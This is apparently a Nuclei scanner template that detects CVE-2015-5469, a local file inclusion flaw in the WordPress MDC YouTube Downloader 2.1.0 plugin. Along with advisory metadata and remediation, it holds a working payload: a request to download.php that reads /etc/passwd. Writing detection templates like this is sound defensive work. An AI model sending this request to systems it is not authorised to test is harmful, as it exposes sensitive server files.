id: CVE-2015-5469

info:
  name: WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive files, execution of arbitrary code, and potential compromise of the entire WordPress installation.
  remediation: |
    Update to the latest version of WordPress MDC YouTube Downloader plugin or apply the patch provided by the vendor.
  reference:
    - https://www.openwall.com/lists/oss-security/2015/07/10/5
    - http://www.vapid.dhs.org/advisory.php?v=133
    - http://www.openwall.com/lists/oss-security/2015/07/10/5
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5469
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-5469
    cwe-id: CWE-22
    epss-score: 0.01853
    epss-percentile: 0.88325
    cpe: cpe:2.3:a:mdc_youtube_downloader_project:mdc_youtube_downloader:2.1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mdc_youtube_downloader_project
    product: mdc_youtube_downloader
    framework: wordpress
  tags: cve2015,cve,wp,lfi,mdc_youtube_downloader_project,wordpress

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a004630440220254b99e59b052ff71485382222da0e761374c32401140112f995ed98b454a4cd02201f8e936fd82e1d718c78eedb893a23115da5737d4c3ce8e161fc878dcde0b099:922c64590222798bb761d5b6d8e72950